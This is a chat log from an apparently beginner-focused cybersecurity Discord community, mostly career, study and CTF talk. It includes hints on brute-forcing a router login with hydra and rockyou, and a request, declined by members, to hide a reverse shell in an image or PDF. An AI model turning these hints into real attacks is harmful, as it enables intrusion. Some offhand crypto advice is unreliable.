general

[whole yew]

Please don't help with coursework - even suggesting things could violate the honor code of that school, and we cannot verify that they are able to ask for help with any part of the assignment.

[sand mason]

my b bro

[crude rivet]

Ah alright

Thanks for suggestions though atleast @sand mason

[twin ridge]

Gave +1 Rep to @sand mason (current: #1344 - 3)

[royal eagle]

Does anyone know how to hack into router? I am trying to hack into admin access of my home router without knowing the password. I have tried few stuff but nothing seems to work. If anyone knows any good source i can follow then can you recommend it to me?

[whole yew]

If it's your router, you can factory reset it.

[sand mason]

hydra?

[civic egret]

Ffuf would also work

[whole yew]

If it's a leased router from the ISP, you are probably not legally allowed to ahck it

[royal eagle]

I am doing this just for fun. I wanted to learn how to hack a router, to be more specific? So, yea reset isnt an option for me. lol

[royal eagle]

i tried to brute force with hydra but it didnt work

[whole yew]

Unless you are confident in your wordlist, bruteforcing is a waste of time.

[sand mason]

didn't work as in the password wasn't in the wordlist, or that it wasn't properly processing?

is it a login page or like a http auth user type deal?

[royal eagle]

i dont want to hack the router itself but was intrested on how would one getinto admin control of my router. i have changed the defult password so i wanted to see if it is still possible to hack it someother way.

[sand mason]

well you should be able to brute force it if the pw is in a wordlist. Even if it does some type of block via cookie, you can set hydra to create a new session for each attempt. Was the password in your wordlist?

any other vectors would be based off recon and enum for that specific system

[royal eagle]

i downloaded a wordlist called rockyou so i am not sure if it is in the wordlist or not. But i dont know how to creat a new session for each attempt, so do you have any resources to help me teach it? I am doing this to learn new stuff so, please.

[whole yew]

That's not going to help with your router bruteforce, unless the password is actually in there.

[sand mason]

cat rockyou.txt | grep "<password-goes-here>"

[whole yew]

For using a tool like hydra, the password actually has to be in the list you use. If you picked a strong password, the likelihood that it's in rockyou is very very very low.

[sand mason]

or just add it in the top of the list/in a new file and try it where you know the password is in the list

other than that, you would have to do some type of a ruleset, like wordlist + mapping for more advanced brute forcing

changed the wifi password to asdf8842 to play around with that before
(note: that wasn't the password, tho same format)

[rapid merlin]

chat when i say to my friends that i am into cyber security, they ask me to hack their ex's account 😭😭

what should i say

[whole yew]

That it's illegal, and a violation of the account TOS.

[sand mason]

tell them to move on

[lunar pivot]

but is it really possible?

i always wanted to know, is there vulnerability exist in big companies to exploit and gain access

[whole yew]

It's not a good area to explore. When you use those internet services, you don't actually own the account. It's not really yours. The TOS you agree specifically prohibits trying to access the account that way.

[proven lark]

hey guys

anyone here good with bloodhound?

[lunar pivot]

I didnt got it? can u explain in simpler way

[sand mason]

i think recently facebook had a bug that granted access to a few of their servers with lateral movement. It's been patched, but the guy found it doing bug bounty

it happens but it's not common

[whole yew]

Hacking account like social media = illegal. Don't do it.

[sand mason]

also he was working within defined and legal scope, as I should probably point out

[lunar pivot]

Yeah i wont do it, im more interested in bug bounties

and also, lets say if i learn to hack by some way, if i try it out on my account would it still be illegal

[whole yew]

Step 1 to bug bounty: Make sure the company has a bug bounty program.
Step 2: Obey the rules of the bug bounty, including scope.
Step 3: ????
Step 4: repeat.

[sand mason]

https://tenor.com/view/cat-fbi-federal-bureau-of-gif-8514161478359178167

[whole yew]

Yes. It would still be illegal.

[lunar pivot]

Ohhkay

[proper sable]

yes, bug bountes exist

[lunar pivot]

and yeah one more question, i have mac, but i wanna do pentesting?

[proper sable]

https://bugcrowd.com/engagements/
https://www.hackerone.com/

[lunar pivot]

so should i use vmware fusion pro for parrotos/kali or mac is safe

[sand mason]

only hack your own hardware/software that you have full rights to. if it's online, you don't own it and 99% don't have explicit permission (sans tryhackme/hackthebox)

[lunar pivot]

Gott itt

[drowsy dust]

HackerOne is my favorite out of the two

[proper sable]

i got beef with hackerone

[lunar pivot]

are this for bug bounties? or vulnerability research

[proper sable]

they put my bug as a dupe when it's not possible for it to be one

[proper sable]

bug bounties

also good vulnerability research

[whole yew]

Doing pentest independently is not recommended. There's a lot of ways to get yourself in very deep legal trouble if you do not have a good lawyer and a very solid business plan. You are much better off working in other areas of IT to build your experience and knowledge before doing that.

[lunar pivot]

ohhhkayy

[drowsy dust]

😆

[sand mason]

bug bounties, but hackerone also has a learning + ctf subdomain

[sturdy pike]

New fear unlocked

[sand mason]

hacker101 i think

[lunar pivot]

well im still learning

[proper sable]

this........ isn't true, bug bounties exist and have "safe harbors"

if you mean as your own company that is kinda skethcy

[whole yew]

Bug bounty is not pentest.

[proper sable]

bug bounty is literally web pentesting

[whole yew]

It's related but it's not quite the same thing.

[sand mason]

i get what juun is saying, like you're not looking to actually get full blown shell in bug bounty

[whole yew]

I'm involved with setting up bug bounty processes at the current company I work for, and I lead our pentest team. I also liase with our 3rd party pentest vendors - the rules are different

[sand mason]

at the most a PoC RCE

[proper sable]

i'd just say its web pentesting with less scope

[lunar pivot]

is mac good for learning pentesting and other tools

or a vm will be requierd for linux

[proper sable]

any OS works fine

you can pentest solely on windows if you want

[lunar pivot]

ohhkay

[lunar pivot]

Can you guide me a path if you have any? it would be a great help

[whole yew]

I would still recommend using a VM for all your pentest activities though. Whichever OS you test from, it's a somewhat common deliverable to hand over the VM image to the client. Wholly dependent on whether the client wants that as a value-add to the engagement.

[proper sable]

portswigger academy -> dive into bug bounties and learn by doing, pwnfunction is a great resource on youtube as well

[sand mason]

DVWA and metasploitable are great for learning. Or BWAPP too

[whole yew]

My advice is to learn network or system administration first. Once you understand how to secure a device, you'll know good places to look for testing.

[lunar pivot]

https://tryhackme.com/hacktivities

im doing from here currently

like, jr pentesting, web penting, addvanced web pentesting then red teaming

[proper sable]

https://www.youtube.com/@PwnFunction/videos

[lunar pivot]

thats the path in that?

will i miss something important from this

[proper sable]

is metasploit even used in actual engagements?

[whole yew]

Second the portswigger once you have some knowledge. If the phrase 'CIDR notation' or 'IDOR' don't make sense, you probably aren't ready for pentest.

[sand mason]

idk, but metasploitable is a system you run in a container that you can use to practice pentesting

not msfconsole

[whole yew]

I've used metasploit in engagements. Not for webapp, but for network and other services.

[proper sable]

fair i guess

[proper sable]

but yeah i highly recommend pwnfunction, videos are somewhat short and teach you a lot and arent boring

[lunar pivot]

any playlist?

[sand mason]

i suppose you could use msfconsole tho. if it works it works, right?

[proper sable]

all videos, theres like 20 or so

[whole yew]

I'll add that I don't use it every engagement, and it's kind of a swiss army knife of a tool. It does a little bit of everything, but it makes certain things more difficult than they need to be. But it's a decent enough starting place.

[proper sable]

some are kinda old, but its mostly conceptual and expalanation

[lunar pivot]

if im sure bug bounties are for web pentesing only right?

[drowsy dust]

This chat is nice

[proper sable]

not always!

some are hardware based

or app based

90% of the time they are web

[whole yew]

Depends on the program, and what's in scope. You have to read the scope very carefully.

[proper sable]

some of them are just stuff like code review

[spiral dagger]

hello everyone

can anyone suggest me how to gain experience in cybersec becoz no company want to give job for fresher cybersec guy

[opaque flax]

find a helpdesk job first...work your way up

get into cybersec

[fossil merlin]

What are the differences?

[fossil merlin]

Yeah one- two years in help desk and you'll be on your way

[whole yew]

Bug Bounty doesn't usually allow actual penetration into the target system beyond surface level. In most (but not all) BB programs, if you actually get a shell you have gone way beyond a simple demonstration of the vulnerability

Targets are also much more rigidly defined in bug bounty, with much less flexibility on scope.

[spiral dagger]

can you suggest some help desk job ?

[fossil merlin]

Ok that makes sense

[rocky bay]

hi

[opaque flax]

Yeah it’s just called help desk my friend. Just search for help desk

[spiral dagger]

i am totaly confuse in my life !

[opaque flax]

It’s the entry level it job

I guess being a field tech is also another entry level it job

[drowsy dust]

Data entry

[opaque flax]

I wouldn’t consider data entry an IT job

[rapid merlin]

..

[rapid merlin]

Heavily depends on the context. Data entry is important in IT.

[rapid merlin]

If you have to have Technical Experience in IT to get a data entry position I'd consider it an IT position; Especially when it's in the context of a helpdesk, or any administrative role where you're a Data Entry Professional or wtv. I'd consider it an IT job.

Should I make any type of project college.
Does anyone have any idea about what type of project.

I think people forget there are multiple areas of IT. Not everyone is doing the hands on stuff. Sometimes you're just answering phones and helping those who are less technical operate their equipment. (Speaking in a HelpDesk Position GENERALLY speaking in Level 1 Support Role)

It all depends on what your role is within the company. People have their places, don't let someone deter you from applying to a data entry position.

And I wouldn't call that "IT" but it still counts as it somehow. (I know it's the premise but I find it mind blowing that sometimes simple explainations can be regarded as an IT service)

[steady pewter]

Yeah, I have experience in the hands on part.

[rapid merlin]

And do you find it fun? I have a friend that keeps getting slammed w bitlocker unlock reqs

[steady pewter]

haha

but uh yeah, sometimes it's fun.

[rapid merlin]

People don't understand what they want, It's a position you have to really be interested in.

I would love to be doing that back and forth

😭

[steady pewter]

For example you can work on laptops and various computer systems, one time I even helped build a bunch of computers for a company.

[rapid merlin]

othertimes it's sucking the life out of you 😭

[steady pewter]

but mostly fun

at least in my opinion.

[rapid merlin]

And that's fun, did you get to pick the parts?

or just assemble?

[steady pewter]

Actually a bit of both.

[rapid merlin]

Either way it's still fun

Building workstations is the best 😭

[steady pewter]

But running wire, oh that's a whole different story.

[rapid merlin]

😭

yeah that's fun..

[steady pewter]

being there all day, from morning to dusk.

[rapid merlin]

Wait until you have to relace it

[steady pewter]

Then you have to deal with the old IT people's mistakes, look at it, start laughing uncontrollably, and then realize you're the one they hired to clean up that mess.

[steady pewter]

If you do it right, you don't need replace it for a really long time--unless somebody cuts the wire or does something laughably stupid.

..which is bound to happen eventually.

gn everyone

[rapid merlin]

Goodnight! :3

[rapid merlin]

I'm not talking ab that; more along the lines of having to trace cat6 using those wands 😭

all though that is quite fun, I'm sure it's hilarious to see the last person's unorganization 😭

[wet marlin]

ayoo new day new me

good mornin

[marble niche]

gm

hyd

bruh on the website it says im apprentice

[near sapphire]

reverify

or wait for the bot

[rapid merlin]

https://tenor.com/view/anime-tea-drink-cute-bangs-gif-15778933

Gm

[cedar hearth]

afternoon!

[pliant bronze]

I wanna learn something that i haven't, Can anyone teach me something that could be too beneficial for me to learn .. Umm?

[cedar hearth]

I recently was studying on how to learn effectively on cybersecurity and I was curious on how you guys study it.

[pliant bronze]

Practice, Patience & Experience..

[cedar hearth]

yeah

i guess

but I speaking study techniques

I was learning on effective study techniques for cybersecurity and it made me stop using notes

so I was curious on how other people study and what techniques they use

[rapid merlin]

i watch videos jerk it and do it rinse and repeat

[olive lance]

anyone can tell me ....how to solve ctf ....any write ups for beginners ? @cedar hearth

[rapid merlin]

then i write it on paper 12 times till it becomes engraved im my head and its the onlything i dream abut

[cedar hearth]

oh interesting

[rapid merlin]

after that i think like im some greek philospher about twtf i learned the day before

then i move on

[cedar hearth]

huh

i guess so

typically I dont write on paper because it makes you forget faster

[rapid merlin]

i passed my oscp cuz of it :/

[cedar hearth]

oho

interesting

[rapid merlin]

thats why you write it more than once

[rapid merlin]

but its not healthy tho

[cedar hearth]

yeah

[rapid merlin]

i cant talk to women anymore

[cedar hearth]

im a women

trustme

[rapid merlin]

i mean irl

[cedar hearth]

oh

yeah no dw

[olive lance]

hey mori

[rapid merlin]

uhhh

hi

[olive lance]

can you tell me ...how to solve ctf ?

any write ups for beginners

[rapid merlin]

ok step 1

[cedar hearth]

the reason why I think writing on paper is bad is because when you remember the knowledge and write it down you kinda let go of remembering it.

[rapid merlin]

read the question

once you read it

try seeing what it wants

[cedar hearth]

use the ai

[rapid merlin]

then spend 1 hour googling what to do to achieve your goal

[cedar hearth]

the tryhackme AI gives pretty good tips

[rapid merlin]

then read writeups on bing.com

ai is bad

haram

[cedar hearth]

oeuf

oui

[rapid merlin]

its good if youre lazy

otherwise dont use it

[cedar hearth]

im lazy making flashcards

[rapid merlin]

and its not reliable

[pliant bronze]

If I wanna get your experience. How can i.?

[olive lance]

okay thanks

[twin ridge]

Gave +1 Rep to @primal obsidian (current: #2729 - 1)

[rapid merlin]

i have 3 months of experience 💀

idk i just read stuff

[pliant bronze]

[rapid merlin]

dont waste ur time on thm ig

cuz i barely learned anything

[pliant bronze]

then Where you learned most thing?

[rapid merlin]

oscp course

[cedar hearth]

do u have premium

[rapid merlin]

no

[cedar hearth]

makes sense lmfao

i got premium and it works fine

[pliant bronze]

I mean. Where you started when you started.?

[olive lance]

that is very expensive

[rapid merlin]

yea i saved up hella

[rapid merlin]

idk like 2024

i worked very hard

im failing school rn

[pliant bronze]

I am dropout from 11th

[rapid merlin]

dont gotta worry about school ig

[pliant bronze]

Hell Yah.. It doesn't matter ig

[rapid merlin]

ehhhh it kinda does when getting a job since a GED does look good

but then thats only entry

[pliant bronze]

So. It doesn't matter for me, I Never want to do job ig...

[rapid merlin]

what do u wanna do

become an illegal APT or smth??

[pliant bronze]

The problem i am facing, Someone never had to do face ever.

[pliant bronze]

[rapid merlin]

what problem

[pliant bronze]

<--

[rapid merlin]

?

[pliant bronze]

I guess just leave the personal problems... BTW can you teach me something that i can't learn somewhere else ?

[rapid merlin]

sigh ok uhh

dont use CBC

[pliant bronze]

🫶

[rapid merlin]

and dont use ECB ever

use GCM or CCM

[wraith fjord]

Sometimes life is like this dark tunnel. You can't always see the light at the end of the tunnel, but if you just keep moving... you will come to a better place.

[rapid merlin]

and cipher streams are faster than block streams

[pliant bronze]

😭 I don't even know what are they

[rapid merlin]

cipher modes

[rapid merlin]

chacha over aes cuz its faster and no one is cracking either

[pliant bronze]

🙃 🫶 ❤️

[rapid merlin]

there you basically got your crypto basics on hardening ig

[rapid merlin]

that light might come from the train entering

beware

[pliant bronze]

Oh.. Got it!

[pliant bronze]

😭

[pliant bronze]

You Broo

[rapid merlin]

yea

[pliant bronze]

[rapid merlin]

uhhhhh

vmware is cool

i dual boot cuz im boss

[pliant bronze]

I just uninstalled 17.6 and reinstalled 17.5

[rapid merlin]

ok

[pliant bronze]

My life ended up when i choose this industry as my life ig

[rapid merlin]

ok and

what about it

[pliant bronze]

[rapid merlin]

you will always be forced down a road

its natural

[pliant bronze]

[rapid merlin]

https://tenor.com/view/brian-family-guy-irl-stare-gif-6797212319157772367

[pliant bronze]

Scary huh!

[rapid merlin]

no

idk what to say

and im bored

and im dehydrated

[pliant bronze]

I am just trying to setup vmware.. Can you help me.?

[rapid merlin]

i havent used vmware in like 4 months

[pliant bronze]

Drink Drink..

[rapid merlin]

youtube it or smth

[pliant bronze]

[rapid merlin]

vmware is well documented so gpt might help

[pliant bronze]

Ohkie

[rapid merlin]

ok ima go goon to some lang internls

bai

[pliant bronze]

BAAYI

[proven lark]

can someone help witha bloodhound analysis

[rapid merlin]

Someone think of an excuse for me

My family are trying to get me to go there today and I don’t wanna go

https://tenor.com/view/hide-spongebob-sand-bye-gif-17200435

[granite echo]

Does anyone know at what difficulty level SAL1 is compared to the SOC Simulator challenges?

Say for example, will it have alerts from easy, medium and hard, or only easy and medium?

[sick lance]

You'll be using the Soc Ssim, take from that what you will.

[obtuse swift]

how can i join general vc it's locked

[sharp citrus]

@obtuse swift

Discord: How Do I Verify My TryHackMe Account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Mar 9, 2025, 9:11 AM

[void thunder]

This review is good, without giving any important information about the test away; quite a long review but it's worth the watch https://youtu.be/nSrwoxHvHvA

[granite echo]

Will check it out, thank you

[blissful zodiac]

Hi, I’m currently studying for the CompTIA Security+ SY0-701 exam using the CompTIA Security+ SY0-701 Certification Guide by Ian Neil, along with the CompTIA Security+ Exam Prep app by Than Hung. To increase my chances of passing, I’d like to add another resource, but I’m torn between Professor Messer’s Notes + Exam package and Jason Dion’s Udemy course. Which one would you recommend and why? Thank you.

[cloud quiver]

A lot of people are recommending Professor Messer . Try to ask guys in #cyber-and-careers channel they can give you some great advice 🙂

[rapid merlin]

Professor Messer, Always! <3

[chilly veldt]

Gotta love when the burner dies

[alpine aurora]

moning all

what is the topic of the moning 😄

[chilly veldt]

Planned on taking the burner (phone in picture) with me to China, but guess it's dead :/

[alpine aurora]

looks like it need CPR

[chilly veldt]

Yeah, the devs of the OS looks like to have remote wiped it, guess I just gonna install a new OS on it

[sick lance]

Eh?

Graphene devs don't have the ability to remote wipe phones.

[blissful zodiac]

Thanks

[twin ridge]

Gave +1 Rep to @cloud quiver (current: #1 - 3799)

[blissful zodiac]

Thanks

[sick lance]

AFAIK, I don't think anybody does, as that would be really careless.

[chilly veldt]

It's not graphene on it

It's some others that put their own stuff on top of graphene

[sick lance]

Point still stands, if a dev has the ability to remote wipe a device, they have remote access.

[chilly veldt]

I'll refer back to my blog post
https://zestfulzodiac.substack.com/p/from-secure-to-exposed-a-forensic

It's a drug phone OS i reverse engineered, it uses a subscription base, and if your subscription has ran out for too long and they detect the phone being on afterwards they'll remote wipe it

[sick lance]

So it's the app that does it.

[visual ether]

Hi

[chilly veldt]

Possibly

[raw python]

Hi! I'd like to participate in the Hackfinity Battle 2025 but I don't have a team! Anyone need a rookie for their team?

[sick lance]

Going from the blog post, it's not quite a remote wipe, but more so a "safety" mechanism being used on the phone by the app, which could also have been done by dropping it, using a different cable etc.

[sick lance]

#1347596231551225887

please.

[sonic plover]

Do BTL1 holders get to do SAL1 for free? 👀

[sick lance]

Yup, with restrictions.

[naive violet]

#announcements message kind of

[sick lance]

All information is in the post.

[chilly veldt]

Yes, but this was caused by a remote wipe, you have a remote wipe token that if the phone gets sent in a notification or message it'll wipe itself, I have gone in and removed all instances of possibly getting it wiped by dropping and other methods they have, only way it could get wiped was if it was from their servers

[sick lance]

That just leads to the question of you knew the phone was past the no subscription stage, why are you using it for a travel to a foreign country 😅

[chilly veldt]

As a backup, didn't know they would wipe it past the subscription, but decided to bring it as a second for Chinese sim card and testing

Especially since I have had it turned on past subscription before where nothing happened

[rapid merlin]

SYN'in til I ACK 🗣️ 💯

[wooden totem]

I cast firewall! 🧙‍♂️ 🔥

[sick lance]

You just burned my securityOnion,

It was super effective.

[devout palm]

https://tenor.com/view/cat-orange-spin-hat-one-brain-cell-gif-2745719316163357325

Connection timed out

[sturdy pike]

Scrubz's character development needs to be studied

[sinful bobcat]

https://tenor.com/view/wizard-cat-wizard-cat-by-demonwolf-mage-cat-magic-cat-gif-2835561615176791073

[hazy flume]

Is there anyone here who knows how to embed an cmd/ps/javascript/python reverse shell script that is executable into an jpg/png/pdf file ?

[sinful bobcat]

Scope of it ?

[hazy flume]

Stega something

[sinful bobcat]

Is it for THM ?

[sick lance]

What are you doing? 😄

[hazy flume]

Hey scrubzzz

[sinful bobcat]

[hazy flume]

How you doin man

You are a significant internet figure for me

[sick lance]

Hopefully for the right reasons. 😅

[hazy flume]

You help me advance and finish the first 3 modules and I got a job

But this is private project that I try now

[sick lance]

Uh, what's the private project, that could depend on the community rules if we can assist you or not. 😄

[hazy flume]

I figured how to sort the port forwarding problem when trying to reverse shell outside of my local network , it works . And for educational purposes I want to check if I can make it work also when the script is being transferred as a jpg/png/pdf file

[sinful bobcat]

Is it going to run on a computer or a server ?

[hazy flume]

On my windows VM

Or my windows host

From listener in Kali

[sinful bobcat]

You may need to "fake" the png/jpg/pdf file, I'm not sure if you can run an executable from an image itself

[hazy flume]

I tried macros with pdf files but even with all defender off on windows , it is still alerting

[lament igloo]

Hey i'm new here

[sinful bobcat]

Well yes, that's considered maldev, quite normal windows defender will trigger

If you are trying to bypass windows defender this is another story, and I'll not help on that

[hazy flume]

I know there are ways to make it executable from image or pdf, I watched some online tutorials but they didn’t work

No im not trying to bypass it I already did, I am trying to make the working script being executed after op wining the image

After opening *

[sinful bobcat]

The executable will still be blocked from windows defender I think

Or at least, it should

[hazy flume]

No because the script itself is creating a cmd file that is creating a powershell file that executes itself therefore no need to downgrade ps execution policy

This I checked

[sinful bobcat]

Idk man this smells more and more like maldev and not a simple project

[hazy flume]

It’s for learning

[sick lance]

Yeah, for tips and tricks on how to bypass defender, this is considered an advance topics,

[sharp citrus]

Discord: What Are the Advanced Channels?

Article Link

https://help.tryhackme.com/en/articles/8671900-discord-what-are-the-advanced-channels

Mar 9, 2025, 11:21 AM

[proper sable]

yes you can kinda do js in pdf files

it's complicated

polyglots also exist and may be useful

[sick lance]

Before going further, please respect rule 9.

[sinful bobcat]

If a pdf runs doom, it can run anything lol

[hazy flume]

Interesting

[sinful bobcat]

https://doompdf.pages.dev/doom.pdf

[proper sable]

can i get access to advanced channels if i have a cyber talk

that i presented

[proper sable]

funnily enough i had the idea to do this before it released i just was too busy :/

[sick lance]

That would be the discretion of Jabba.

[naive violet]

in a sandbox

[hazy flume]

my job is paying me for OSCP scrubz

to do it

[sinful bobcat]

Nah man whoever did that is
1 crazy
2 unemployed

Lmao

[sick lance]

Im glad to hear that, once you pass, you can get access to the advanced channels.

[sinful bobcat]

There is always a * at the end hehe

[proper sable]

i was gonna make doom using mspaint as an IDE

[hazy flume]

i have BSCP of burp

from work

[proper sable]

also OSCP is windows?

[hazy flume]

i heared OSCP is much harder

[proper sable]

if so i'm pretty sure id fail OSCP but would pass OSWE

[hazy flume]

oscp is by offsec

i am not ready for oscp yet

[naive violet]

It includes Windows

[proper sable]

ahh

[hazy flume]

its a 24 hours exam

5 machines

if you fail the AD machine you fail the exam

[proper sable]

ooof

[sick lance]

Top tip, (Not that I have OSCP)

Manage your time, and take breaks.

[proper sable]

@near sapphire Hello!

i see you lurking

[hazy flume]

what do you mean

[near sapphire]

continue your projects man

[proper sable]

[near sapphire]

gift me nitro bor

[proper sable]

no monies

my nitro was gifted to me

[sick lance]

Don't just go guns blazing.

[proper sable]

i gotta finally work on that project i've been meaning to do

[near sapphire]

get a job

[proper sable]

and hate myself doing it

[proper sable]

i'm trying :(

[hazy flume]

im trying not to learn stuff that i dont have time to go in depth to

and in work they open me the OSCP libraries with more people and we learn together

[proper sable]

like building a hypervisor and a mouse driver will totalllyyyygyyyy be fun

@sick lance is maldev still maldev if its ethical and safe? what classifies as maldev

[naive violet]

If you have to ask, then best keep it in the advanced channels

[proper sable]

so i have to wait for jabba to see if my cyber talk is good enough to get in

i could grind out thm but lazy

[neat pond]

i am to :{

but for now only

[proper sable]

yeahhh :/ what's your niche in cyber?

[neat pond]

everything :} about cybersecurity and computers

[rapid merlin]

Good morning everyone!

[sick lance]

Nano isn't on SO by default,

yay for vim

[void thunder]

Maldev is maldev, in the case you are using it for ethical use it would fall under Ethical Maldev or Benign Malware an example of this could be Cobalt Strike Beacons

[neat pond]

but my target is to master everything about (cyber warfare)

[proper sable]

what about vm hardening with a rootkit

[neat pond]

i dont know why but i loove it

[proper sable]

oooh gl

[sick lance]

Probably best asking a moderator or admin about that. not a community member who's just here, and as James pointed out, if you have to ask...

[void thunder]

Depends on your use-case

[whole gazelle]

good morning!!!

[neat pond]

hi

guys who started with programming lang first in cyber ?

[proper sable]

better malware-analysis on vm detection malware

[proper sable]

start with C/C++ please

you will thank me later

[neat pond]

did you start with that

[proper sable]

i started with javascript and i regretted it

[proper sable]

fair

[neat pond]

i already learned C and start with python but it will be the next C++ and assembly after i will going depper in cyber

[neat pond]

that important to

[proper sable]

Javascript,python are the easy get into cyber languages

[neat pond]

i dont search for easy ways i want to understand everything dude

[proper sable]

but learning C/C++ teaches you fundamentals about comp sci, which makes learning new languages easier

[neat pond]

not only know how to work

[void thunder]

As long as you're using it ethically, within legal regulations, and for legitimate reasons, it would generally be considered ethical malware development. However, you should always obtain proper authorization before deploying such software, unless otherwise explicitly permitted

[neat pond]

that correct

[proper sable]

you'll look at js and python and think they are terrible but will deeply understand them

[neat pond]

now i learn python and its soo easy cuz i learned C before

[proper sable]

yeah of course

[proper sable]

yep, and you have info on data types etc

[neat pond]

but in the first i will have some problems right with writting scrips

[proper sable]

learning a new language after the first one is just syntax

[neat pond]

after that fellings will gone right

[proper sable]

i went from js -> python -> go -> c++ and it was horrible

[heady parrot]

Free wo

Rm

[fringe nacelle]

I started off with Python. I might pick up c++

[proper sable]

so it, it's so worth

[neat pond]

you mean was so strong

[fringe nacelle]

Hmu with a c++ path and I'll get to work boss

[proper sable]

yolo projects?

[neat pond]

i think horrible road make you better ?

[fringe nacelle]

Whatever that will get me started. I'm about to sleep, not in the mood to search things lol

[neat pond]

lol

[proper sable]

i wouldn't say better in my case, when i switched to lower level it was very different than what i've done for years

that's why opposite i feel is better low level to high level

concepts are hard to learn at first

but everything's easier

[neat pond]

hmm

[neat pond]

with time and practice everything will be easy like you says:>

[proper sable]

yeah it just takes time

[neat pond]

thank you dude for advices

[proper sable]

C/C++ is the foundation for like everything

so after that you good

[neat pond]

yeah i try to be better in C scripts also

[alpine aurora]

can i say i think basic is befor that 😄

[neat pond]

cuz it will help me in cyber so much

and i lvl up in daya structures

[proper sable]

make sure to learn about memory and stuff like that and not just scripting

[neat pond]

data

[proper sable]

honestly haven't touched BASIC

[void thunder]

It's best to begin with the basics when you are first starting out, but than again it depends on your pathway

[neat pond]

i i have finish this cs50 course 2 times

[near sapphire]

chat should I spend the rest of my day tomorrow hacking or coding

[proper sable]

go get us the win in pico

[neat pond]

and now to understand more everything i will finish it one time more

[alpine aurora]

back in the late 80 start 90 i learn basic on my c64 😄

[near sapphire]

carry me my dude

[proper sable]

[sick lance]

Who's doing the new CTF?

I'm in two minds if I should take part or not, (bonus I'm a student).

[proper sable]

ohhhh one of thoseeee

[neat pond]

can we solve CTF,s if we start new in cyber ?

[near sapphire]

why wont u participate

[proper sable]

yes! i found them to be great at learning

[alpine aurora]

hmmm what do you meen my ages heheh

[sick lance]

I may have more fun watching from the server.

[neat pond]

really

[void thunder]

I would definitely suggest doing, even just as a learning experience

[neat pond]

ok

[proper sable]

😭 i only know of one of those from a museum here that shut down

[true urchin]

Does anybody need one more student in their team for the hackfinity Battle?

[proper sable]

they teach you new concepts and technologies etc, and you have to learn on the fly

[sick lance]

#1347596231551225887 is a better channel.

[true urchin]

Thank you

[twin ridge]

Gave +1 Rep to @sick lance (current: #2 - 3492)

[alpine aurora]

10 print "hello world"
20 goto 10
run

[neat pond]

which website bro

this CTFs

[proper sable]

ok wait i remember this

[near sapphire]

you cant watch and play at the same time?

[sick lance]

If I get too invested I won't. 😄

[proper sable]

picoCTF is going on currently but a bit hard, picoGYM is 24/7 and teaches a lot

the thm one is going on idk for how long that's a scrubz question

[neat pond]

i will look at that and come back

[alpine aurora]

the CTF is not for my skills yet im to new in this

[near sapphire]

it is beginner friendly

[proper sable]

even if you are brand new i would suggest giving it a try

[alpine aurora]

then i need a team etc

[proper sable]

if you don't know how to do it research as much as you can until you get it

[proper sable]

if you don't plan on being competitive just do it solo

[neat pond]

https://play.picoctf.org/login?redirect=/login

this one

[proper sable]

watch your place go up

[proper sable]

yep

[near sapphire]

i leik big numbers go up

[neat pond]

ok solo better i think for now just

after i learning more i will chose team to .....

[alpine aurora]

@proper sable if ther is a dude the need a padawan im on 😄

[proper sable]

?

i know it's a star wars reference but never seen 😭

[mellow narwhal]

You should tbh

I'm excited for the cloud challenges

[alpine aurora]

if ther is some the like to be my teacher then i like to be the student

[mellow narwhal]

I have zero experience in those so I won't get them, but it'll be fun anyway

[proper sable]

ahhh, i'm down to give advice when i can

might have to participate just for cloud stuff.......

i need an excuse to learn cloud

[near sapphire]

i have 0 experience on aws hacking

actually i have no experience in aws whatsoever

[proper sable]

only experience i have on aws hacking is cognito cloud identities

[alpine aurora]

cool can i add you on my frinds list 😄

[proper sable]

sure

[alpine aurora]

im new in linux ish i know a litte and im trying the Penetration road on THM

[sick lance]

Onion will know pain, for it no longer makes me cry by refusing to work!

[alpine aurora]

T -1day for my 3d printer is comeing home

[near sapphire]

scrubz villain ark

[pseudo egret]

any new room ??

[sick lance]

For THM, no.

[devout palm]

What's this?

[sick lance]

Security onion.

[pseudo egret]

could you explain ?

[sick lance]

It's a network security monitor.

With threat detection.

[pseudo egret]

hmm that's great

i thought it would be linked with tor

[sick lance]

I don't use tor.

[pliant bronze]

BTW.. how can i join that general vc.?

[sick lance]

You need to verify your account

[sharp citrus]

Discord: How Do I Verify My TryHackMe Account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Mar 9, 2025, 12:22 PM

[pliant bronze]

How can i.?

[sick lance]

Above link.

[pseudo egret]

just go and message the thm bot

[pliant bronze]

Thanks!

[twin ridge]

Gave +1 Rep to @sick lance (current: #2 - 3493)

[worn turret]

Im now a networking nerd

[whole gazelle]

nice! 😊

[chilly veldt]

Boarding in 20 minutes

[near sapphire]

safe flight bella!

[chilly veldt]

Thankz

[alpine aurora]

do we have a channel just for CTF

[pseudo egret]

yes

[worn quarry]

Hey guys,
I’m a beginner pen tester from Egypt, and I’m looking to put together a small team to learn Pen Testing together, grind, and improve. The idea is simple: practice, hunt for bugs, do CTFs, and just keep getting better, learning on tryhackme website.
If you’re down to build something solid and actually put in the effort, hit me up. Let’s see where this takes us. 🔥

[pseudo egret]

there is

[alpine aurora]

??

[pseudo egret]

#1347645518032928839

#1345108873584836618

you can customize your channels

[alpine aurora]

cool how 😄

[pseudo egret]

do you have a bar called get started ??

[alpine aurora]

ohh wher

[pseudo egret]

go to id:guide

there will be option for it

[cloud quiver]

#1347217239492919346

[alpine aurora]

thanx mate

[alpine aurora]

thanx mate

[pseudo egret]

wish you have a good learning sections

[alpine aurora]

hell ya hehe i have no clue what to do soo game on

[pseudo egret]

you could start with cyber security 101

[alpine aurora]

ya it well might be a goood ider i guss

@pseudo egret look like i need candy to eat and some more coffe

[dusty thicket]

helloo

[alpine aurora]

@dusty thicket hello ther

[dusty thicket]

what you doin

[pseudo egret]

yha the caffine rush

it would be fun

[alpine aurora]

brb need to go shoping

[pseudo egret]

where are you from ??

[dusty thicket]

@pseudo egret

can you turn your mic in dc

??

[pseudo egret]

can't bro sorry but my mic is complaint

if you want hop in to dm

[dusty thicket]

mine says surpressed

aight

add

me

[alpine aurora]

denmark you

[chilly veldt]

Knew it from the name

[alpine aurora]

well you might hear abut greenland ;D

[pseudo egret]

india

[chilly veldt]

Well as a Dane myself it's a 7th sense

[pseudo egret]

yo any from india ?

[summer latch]

Yep

[pseudo egret]

yo mate

[alpine aurora]

hehe i love the rulles on CTF ( you most not do that and that ) hmm all of that i dont know how to hehe soo that is the easy part 😄

